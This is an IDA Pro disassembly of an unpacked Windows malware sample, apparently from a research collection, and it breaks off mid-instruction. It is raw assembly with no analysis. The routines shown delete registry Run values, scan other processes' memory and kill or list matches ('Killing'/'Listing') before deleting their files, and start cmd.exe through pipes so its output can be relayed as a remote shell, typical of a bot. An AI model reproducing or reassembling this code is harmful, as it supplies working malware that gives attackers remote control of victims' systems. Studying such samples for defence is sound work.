; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 6CA4ACB0A5F54A9FE9A7B093A7329754 ; File Name : u:\work\6ca4acb0a5f54a9fe9a7b093a7329754_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00020000 ( 131072.) ; Section size in file : 00020000 ( 131072.) ; Offset to raw data for section: 00001000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write MEW segment para public 'BSS' use32 assume cs:MEW ;org 401000h assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401146+31p ; sub_401146+43p ... var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = byte ptr -260h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 268h and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40101A ; --------------------------------------------------------------------------- loc_401013: ; CODE XREF: sub_401000+13Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40101A: ; CODE XREF: sub_401000+11j mov eax, [ebp+var_4] cmp off_418000[eax*4], 0 jz loc_401141 mov eax, [ebp+var_4] push off_418000[eax*4] lea eax, [ebp+var_260] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_260] push eax call sub_4105FB pop ecx lea eax, [ebp+var_110] push eax push 3 push 0 lea eax, [ebp+var_260] push eax push [ebp+arg_0] call dword_417008 ; RegOpenKeyExA and [ebp+var_220], 0 jmp short loc_401081 ; --------------------------------------------------------------------------- loc_401074: ; CODE XREF: sub_401000:loc_40112Bj mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_401081: ; CODE XREF: sub_401000+72j mov [ebp+var_21C], 104h mov [ebp+var_224], 104h lea eax, [ebp+var_224] push eax lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_114] push eax push 0 lea eax, [ebp+var_21C] push eax lea eax, [ebp+var_218] push eax push [ebp+var_220] push [ebp+var_110] call dword_417000 ; RegEnumValueA mov [ebp+var_264], eax cmp [ebp+var_264], 0 jz short loc_4010DD jmp short loc_401130 ; --------------------------------------------------------------------------- loc_4010DD: ; CODE XREF: sub_401000+D9j cmp [ebp+var_114], 1 jnz short loc_40112B push [ebp+arg_4] push [ebp+var_224] lea eax, [ebp+var_10C] push eax call sub_407ACA add esp, 0Ch mov [ebp+var_268], eax cmp [ebp+var_268], 0 jz short loc_40112B lea eax, [ebp+var_218] push eax push [ebp+var_110] call dword_417004 ; RegDeleteValueA test eax, eax jnz short loc_40112B mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40112B: ; CODE XREF: sub_401000+E4j ; sub_401000+10Bj ... jmp loc_401074 ; --------------------------------------------------------------------------- loc_401130: ; CODE XREF: sub_401000+DBj push [ebp+var_110] call dword_417028 ; RegCloseKey jmp loc_401013 ; --------------------------------------------------------------------------- loc_401141: ; CODE XREF: sub_401000+25j mov eax, [ebp+var_8] leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401146 proc near ; CODE XREF: sub_401244+459p ; sub_40A9CF+A72p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push 80h push [ebp+arg_0] call dword_4170A8 ; SetFileAttributesA test eax, eax jnz short loc_401166 jmp locret_401242 ; --------------------------------------------------------------------------- loc_401166: ; CODE XREF: sub_401146+19j push [ebp+arg_0] call dword_4170AC ; DeleteFileA push [ebp+arg_0] push 80000001h call sub_401000 pop ecx pop ecx mov [ebp+var_4], eax push [ebp+arg_0] push 80000002h call sub_401000 pop ecx pop ecx mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz locret_401242 push 104h push [ebp+arg_0] lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_108] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_10C], eax jmp short loc_4011DB ; --------------------------------------------------------------------------- loc_4011CE: ; CODE XREF: sub_401146:loc_40121Aj mov eax, [ebp+var_10C] dec eax mov [ebp+var_10C], eax loc_4011DB: ; CODE XREF: sub_401146+86j cmp [ebp+var_10C], 0 jz short loc_40121C mov eax, [ebp+arg_0] add eax, [ebp+var_10C] movsx eax, byte ptr [eax-1] cmp eax, 5Ch jnz short loc_40121A push 104h mov eax, [ebp+var_10C] lea eax, [ebp+eax+var_108] push eax lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch jmp short loc_40121C ; --------------------------------------------------------------------------- loc_40121A: ; CODE XREF: sub_401146+AEj jmp short loc_4011CE ; --------------------------------------------------------------------------- loc_40121C: ; CODE XREF: sub_401146+9Cj ; sub_401146+D2j lea eax, [ebp+var_108] push eax push 80000001h call sub_401000 pop ecx pop ecx lea eax, [ebp+var_108] push eax push 80000002h call sub_401000 pop ecx pop ecx locret_401242: ; CODE XREF: sub_401146+1Bj ; sub_401146+56j leave retn sub_401146 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401244 proc near ; DATA XREF: sub_4017AA+9Do var_3E8 = dword ptr -3E8h var_3E4 = byte ptr -3E4h var_3E0 = dword ptr -3E0h var_3DC = dword ptr -3DCh var_3D8 = dword ptr -3D8h var_3D4 = dword ptr -3D4h var_3D0 = dword ptr -3D0h var_3CC = byte ptr -3CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = dword ptr -2ACh var_2A8 = byte ptr -2A8h var_2A7 = dword ptr -2A7h var_2A3 = byte ptr -2A3h var_1A3 = byte ptr -1A3h var_B = byte ptr -0Bh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3E8h push esi push edi push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2AC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_40129D lea eax, [ebp+var_2A3] push eax mov eax, [ebp+var_2AC] push dword ptr [eax] push offset dword_418144 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_40129D: ; CODE XREF: sub_401244+34j call sub_406041 mov [ebp+var_2B4], eax cmp [ebp+var_2B4], 0 jnz short loc_4012C4 push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp loc_4017A4 ; --------------------------------------------------------------------------- loc_4012C4: ; CODE XREF: sub_401244+6Bj push 10000h call sub_416B46 ; malloc pop ecx mov [ebp+var_2B8], eax and [ebp+var_2BC], 0 and [ebp+var_2B0], 0 jmp short loc_4012F2 ; --------------------------------------------------------------------------- loc_4012E5: ; CODE XREF: sub_401244+E2j ; sub_401244+12Bj ... mov eax, [ebp+var_2B0] inc eax mov [ebp+var_2B0], eax loc_4012F2: ; CODE XREF: sub_401244+9Fj mov eax, [ebp+var_2B4] mov ecx, [ebp+var_2B0] cmp ecx, [eax] jge loc_401710 mov esi, [ebp+var_2B0] imul esi, 114h mov eax, [ebp+var_2B4] mov edi, [eax+4] call dword_4170E8 ; GetCurrentProcessId cmp [edi+esi], eax jnz short loc_401328 jmp short loc_4012E5 ; --------------------------------------------------------------------------- loc_401328: ; CODE XREF: sub_401244+E0j push 104h lea eax, [ebp+var_3CC] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_3CC] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_401374 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401374: ; CODE XREF: sub_401244+129j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 movzx eax, [ebp+var_2A8] neg eax sbb eax, eax add eax, 11h push eax call dword_417094 ; OpenProcess mov [ebp+var_2C4], eax cmp [ebp+var_2C4], 0 jnz short loc_4013B7 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_4013B7: ; CODE XREF: sub_401244+16Cj and [ebp+var_2C0], 0 and [ebp+var_2C8], 0 loc_4013C5: ; CODE XREF: sub_401244:loc_4016FAj mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] cmp eax, 10000h jbe short loc_4013F7 mov [ebp+var_3E8], 10000h jmp short loc_40141C ; --------------------------------------------------------------------------- loc_4013F7: ; CODE XREF: sub_401244+1A5j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] mov [ebp+var_3E8], eax loc_40141C: ; CODE XREF: sub_401244+1B1j mov eax, [ebp+var_3E8] mov [ebp+var_3D0], eax lea eax, [ebp+var_2C8] push eax push [ebp+var_3D0] push [ebp+var_2B8] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+4] add eax, [ebp+var_2C0] push eax push [ebp+var_2C4] call dword_417098 ; ReadProcessMemory mov [ebp+var_3D4], eax cmp [ebp+var_3D4], 0 jz loc_4016C5 cmp [ebp+var_2C8], 0 jz loc_4016C5 and [ebp+var_3D8], 0 and [ebp+var_3DC], 0 loc_401495: ; DATA XREF: MEW:0041AD00o jmp short loc_4014A4 ; --------------------------------------------------------------------------- loc_401497: ; CODE XREF: sub_401244:loc_4015DBj mov eax, [ebp+var_3DC] inc eax mov [ebp+var_3DC], eax loc_4014A4: ; CODE XREF: sub_401244:loc_401495j mov eax, [ebp+var_2C8] sub eax, [ebp+var_2A7] cmp [ebp+var_3DC], eax ja loc_4015E0 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] add ecx, 20h cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] sub ecx, 20h cmp eax, ecx jnz loc_4015DB loc_401514: ; CODE XREF: sub_401244+290j ; sub_401244+2ADj mov [ebp+var_3E0], 1 jmp short loc_40152D ; --------------------------------------------------------------------------- loc_401520: ; CODE XREF: sub_401244:loc_4015D6j mov eax, [ebp+var_3E0] inc eax mov [ebp+var_3E0], eax loc_40152D: ; CODE XREF: sub_401244+2DAj mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] test eax, eax jnz short loc_401556 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] mov [ebp+var_3D8], eax jmp loc_40179F ; --------------------------------------------------------------------------- loc_401556: ; CODE XREF: sub_401244+2F9j mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] add ecx, 20h cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] sub ecx, 20h cmp eax, ecx jz short loc_4015D6 jmp short loc_4015DB ; --------------------------------------------------------------------------- loc_4015D6: ; CODE XREF: sub_401244+338j ; sub_401244+363j ... jmp loc_401520 ; --------------------------------------------------------------------------- loc_4015DB: ; CODE XREF: sub_401244+2CAj ; sub_401244+390j jmp loc_401497 ; --------------------------------------------------------------------------- loc_4015E0: ; CODE XREF: sub_401244+272j ; sub_401244:loc_40179Fj cmp [ebp+var_3D8], 0 jz loc_4016C5 mov eax, [ebp+var_2BC] inc eax mov [ebp+var_2BC], eax movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401675 push 3E8h call dword_41709C ; Sleep mov al, [ebp+var_B] mov [ebp+var_3E4], al and [ebp+var_B], 0 mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_2A3] push eax push offset dword_41811C lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 14h mov al, [ebp+var_3E4] mov [ebp+var_B], al jmp short loc_4016A3 ; --------------------------------------------------------------------------- loc_401675: ; CODE XREF: sub_401244+3BFj push 0 push [ebp+var_2C4] call dword_4170A0 ; TerminateProcess mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_401146 pop ecx loc_4016A3: ; CODE XREF: sub_401244+42Fj mov eax, [ebp+var_2AC] cmp dword ptr [eax+4], 0 jz short loc_4016C0 push [ebp+var_2C4] call dword_4170A4 ; CloseHandle jmp loc_40179A ; --------------------------------------------------------------------------- loc_4016C0: ; CODE XREF: sub_401244+469j jmp loc_401795 ; --------------------------------------------------------------------------- loc_4016C5: ; CODE XREF: sub_401244+230j ; sub_401244+23Dj ... mov eax, [ebp+var_2C0] add eax, [ebp+var_3D0] mov [ebp+var_2C0], eax mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov edx, [ebp+var_2C0] cmp edx, [ecx+eax+8] jnz short loc_4016FA jmp short loc_4016FF ; --------------------------------------------------------------------------- loc_4016FA: ; CODE XREF: sub_401244+4B2j jmp loc_4013C5 ; --------------------------------------------------------------------------- loc_4016FF: ; CODE XREF: sub_401244+4B4j ; sub_401244:loc_401795j push [ebp+var_2C4] call dword_4170A4 ; CloseHandle jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401710: ; CODE XREF: sub_401244+BCj ; sub_401244:loc_40179Aj push [ebp+var_2B4] call sub_40636E pop ecx push [ebp+var_2B8] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401785 push 3E8h call dword_41709C ; Sleep cmp [ebp+var_2BC], 0 jnz short loc_401764 lea eax, [ebp+var_2A3] push eax push offset dword_4180F8 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 0Ch jmp short loc_401785 ; --------------------------------------------------------------------------- loc_401764: ; CODE XREF: sub_401244+501j lea eax, [ebp+var_2A3] push eax push [ebp+var_2BC] push offset dword_4180CC lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_401785: ; CODE XREF: sub_401244+4EDj ; sub_401244+51Ej push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp short loc_4017A4 ; --------------------------------------------------------------------------- loc_401795: ; CODE XREF: sub_401244:loc_4016C0j jmp loc_4016FF ; --------------------------------------------------------------------------- loc_40179A: ; CODE XREF: sub_401244+477j jmp loc_401710 ; --------------------------------------------------------------------------- loc_40179F: ; CODE XREF: sub_401244+30Dj jmp loc_4015E0 ; --------------------------------------------------------------------------- loc_4017A4: ; CODE XREF: sub_401244+7Bj ; sub_401244+54Fj pop edi pop esi leave retn 4 sub_401244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017AA proc near ; CODE XREF: sub_40A9CF+AA1p ; sub_40A9CF+AD2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_4017C2 push [ebp+arg_4] call sub_416B40 ; strlen pop ecx test eax, eax jnz short loc_4017C7 loc_4017C2: ; CODE XREF: sub_4017AA+9j jmp locret_401854 ; --------------------------------------------------------------------------- loc_4017C7: ; CODE XREF: sub_4017AA+16j push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4017DD jmp short locret_401854 ; --------------------------------------------------------------------------- loc_4017DD: ; CODE XREF: sub_4017AA+2Fj mov eax, [ebp+var_4] mov cl, [ebp+arg_8] mov [eax+4], cl push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_4] mov [ecx+5], eax push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 9 push eax call sub_416B58 ; strncpy add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 109h push eax call sub_405F67 pop ecx pop ecx movzx eax, [ebp+arg_8] test eax, eax jz short loc_401830 mov [ebp+var_8], offset aListing ; "Listing" jmp short loc_401837 ; --------------------------------------------------------------------------- loc_401830: ; CODE XREF: sub_4017AA+7Bj mov [ebp+var_8], offset aKilling ; "Killing" loc_401837: ; CODE XREF: sub_4017AA+84j push [ebp+arg_4] push [ebp+var_8] push offset dword_418174 push 0 push [ebp+var_4] push offset sub_401244 call sub_4095A4 add esp, 18h locret_401854: ; CODE XREF: sub_4017AA:loc_4017C2j ; sub_4017AA+31j leave retn sub_4017AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401856 proc near ; CODE XREF: sub_401981+A8p ; sub_401981+E1p ... push ebp mov ebp, esp cmp dword_41DDF4, 0FFFFFFFFh jz short loc_40186E push dword_41DDF4 call dword_4170A4 ; CloseHandle loc_40186E: ; CODE XREF: sub_401856+Aj cmp dword_41DDE8, 0FFFFFFFFh jz short loc_401883 push dword_41DDE8 call dword_4170A4 ; CloseHandle loc_401883: ; CODE XREF: sub_401856+1Fj cmp dword_41DDEC, 0FFFFFFFFh jz short loc_401898 push dword_41DDEC call dword_4170A4 ; CloseHandle loc_401898: ; CODE XREF: sub_401856+34j cmp dword_41DDF0, 0FFFFFFFFh jz short loc_4018AD push dword_41DDF0 call dword_4170A4 ; CloseHandle loc_4018AD: ; CODE XREF: sub_401856+49j pop ebp retn sub_401856 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018AF proc near ; CODE XREF: sub_401981+28Ap ; sub_401981+395p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jnz short loc_4018D4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401922 loc_4018D4: ; CODE XREF: sub_4018AF+15j ; sub_4018AF:loc_401920j push 32h call dword_41709C ; Sleep mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jz short loc_4018FE call sub_416B64 ; clock sub eax, dword_41DDFC cmp eax, 1F4h jb short loc_4018FE jmp short loc_401922 ; --------------------------------------------------------------------------- loc_4018FE: ; CODE XREF: sub_4018AF+39j ; sub_4018AF+4Bj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401920 call sub_416B64 ; clock sub eax, dword_41DDFC cmp eax, 0FAh jb short loc_401920 jmp short loc_401922 ; --------------------------------------------------------------------------- loc_401920: ; CODE XREF: sub_4018AF+5Bj ; sub_4018AF+6Dj jmp short loc_4018D4 ; --------------------------------------------------------------------------- loc_401922: ; CODE XREF: sub_4018AF+23j ; sub_4018AF+4Dj ... call sub_416B64 ; clock mov dword_41DDFC, eax mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_401942 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_401957 loc_401942: ; CODE XREF: sub_4018AF+86j push offset dword_4181A4 lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx jmp short loc_40196E ; --------------------------------------------------------------------------- loc_401957: ; CODE XREF: sub_4018AF+91j push 200h push [ebp+arg_4] lea eax, [ebp+var_200] push eax call sub_407A56 add esp, 0Ch loc_40196E: ; CODE XREF: sub_4018AF+A6j lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_40D53F pop ecx pop ecx leave retn sub_4018AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401981 proc near ; DATA XREF: sub_401D6E+88o var_730 = dword ptr -730h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_714 = dword ptr -714h var_510 = byte ptr -510h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_334 = dword ptr -334h var_330 = word ptr -330h var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = byte ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = byte ptr -30Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 730h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_714] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock sub eax, 1F4h mov dword_41DDFC, eax push 0 lea eax, [ebp+var_30C] push eax push 104h push 0 push offset aCmd_exe ; "cmd.exe" push 0 call dword_41706C ; SearchPathA test eax, eax jnz short loc_4019ED push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_4019ED: ; CODE XREF: sub_401981+57j mov [ebp+var_318], 0Ch mov [ebp+var_310], 1 and [ebp+var_314], 0 push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_368] push eax lea eax, [ebp+var_364] push eax call dword_417070 ; CreatePipe test eax, eax jnz short loc_401A41 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A41: ; CODE XREF: sub_401981+A6j push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_36C] push eax lea eax, [ebp+var_728] push eax call dword_417070 ; CreatePipe test eax, eax jnz short loc_401A7A call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A7A: ; CODE XREF: sub_401981+DFj push 3 push 0 push 0 push offset dword_41DDF0 call dword_417074 ; GetCurrentProcess push eax push [ebp+var_36C] call dword_417074 ; GetCurrentProcess push eax call dword_4170F0 ; DuplicateHandle test eax, eax jnz short loc_401ABB call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: sub_401981+120j push 10h push 0 lea eax, [ebp+var_724] push eax call sub_416B6A ; memset add esp, 0Ch push 44h push 0 lea eax, [ebp+var_360] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_360], 44h mov [ebp+var_334], 101h and [ebp+var_330], 0 mov eax, [ebp+var_728] mov [ebp+var_328], eax mov eax, [ebp+var_368] mov [ebp+var_324], eax mov eax, [ebp+var_368] mov [ebp+var_320], eax lea eax, [ebp+var_724] push eax lea eax, [ebp+var_360] push eax push 0 push 0 push 0 push 1 push 0 push 0 push offset byte_41DE00 lea eax, [ebp+var_30C] push eax call dword_41707C ; CreateProcessA test eax, eax jnz short loc_401B69 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401B69: ; CODE XREF: sub_401981+1CEj push [ebp+var_728] call dword_4170A4 ; CloseHandle mov eax, [ebp+var_364] mov dword_41DDF4, eax mov eax, [ebp+var_36C] mov dword_41DDE8, eax mov eax, [ebp+var_724] mov dword_41DDEC, eax push [ebp+var_720] call dword_4170A4 ; CloseHandle and [ebp+var_4], 0 and [ebp+var_208], 0 loc_401BAD: ; CODE XREF: sub_401981+2E9j ; sub_401981+39Cj mov eax, [ebp+var_714] cmp dword ptr [eax+4], 0 jz short loc_401BBE jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401BBE: ; CODE XREF: sub_401981+236j and [ebp+var_208], 0 push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 push 0 lea eax, [ebp+var_4] push eax push 200h lea eax, [ebp+var_204] push eax push dword_41DDF4 call dword_417080 ; PeekNamedPipe test eax, eax jnz short loc_401C17 push offset aCouldNotReadDa ; "Could not read data from process." lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C17: ; CODE XREF: sub_401981+27Cj cmp [ebp+var_4], 0 jnz short loc_401C6F mov [ebp+var_730], 103h lea eax, [ebp+var_730] push eax push dword_41DDEC call dword_417084 ; GetExitCodeProcess test eax, eax jz short loc_401C62 cmp [ebp+var_730], 103h jz short loc_401C62 push offset aCmd_exeProcess ; "Cmd.exe process has terminated." lea eax, [ebp+var_510] push eax call sub_40D53F pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C62: ; CODE XREF: sub_401981+2BBj ; sub_401981+2C7j push 0Ah call dword_41709C ; Sleep jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401C6F: ; CODE XREF: sub_401981+29Aj and [ebp+var_72C], 0 jmp short loc_401C85 ; --------------------------------------------------------------------------- loc_401C78: ; CODE XREF: sub_401981:loc_401CAFj mov eax, [ebp+var_72C] inc eax mov [ebp+var_72C], eax loc_401C85: ; CODE XREF: sub_401981+2F5j mov eax, [ebp+var_72C] cmp eax, [ebp+var_4] jnb short loc_401CB1 mov eax, [ebp+var_72C] movsx eax, [ebp+eax+var_204] cmp eax, 0Ah jnz short loc_401CAF mov [ebp+var_208], 1 jmp short loc_401CB1 ; --------------------------------------------------------------------------- loc_401CAF: ; CODE XREF: sub_401981+320j jmp short loc_401C78 ; --------------------------------------------------------------------------- loc_401CB1: ; CODE XREF: sub_401981+30Dj ; sub_401981+32Cj cmp [ebp+var_208], 0 jz short loc_401CC6 mov eax, [ebp+var_72C] inc eax mov [ebp+var_4], eax jmp short loc_401CCD ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401981+337j mov [ebp+var_4], 200h loc_401CCD: ; CODE XREF: sub_401981+343j push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 lea eax, [ebp+var_31C] push eax push [ebp+var_4] lea eax, [ebp+var_204] push eax push dword_41DDF4 call dword_417088 ; ReadFile test eax, eax jnz short loc_401D08 jmp short loc_401D22 ; --------------------------------------------------------------------------- loc_401D08: ; CODE XREF: sub_401981+383j lea eax, [ebp+var_204] push eax lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401D22: ; CODE XREF: sub_401981+238j ; sub_401981+291j ... call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax locret_401D35: ; CODE XREF: sub_401981+67j ; sub_401981+BBj ... leave retn 4 sub_401981 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D39 proc near ; CODE XREF: sub_401D6E+AFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push eax push [ebp+var_4] push [ebp+arg_0] push dword_41DDF0 call dword_417068 ; WriteFile test eax, eax jnz short loc_401D69 xor eax, eax jmp short locret_401D6C ; --------------------------------------------------------------------------- loc_401D69: ; CODE XREF: sub_401D39+2Aj push 1 pop eax locret_401D6C: ; CODE XREF: sub_401D39+2Ej leave retn sub_401D39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D6E proc near ; CODE XREF: sub_40A9CF+14A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_401DA6 cmp 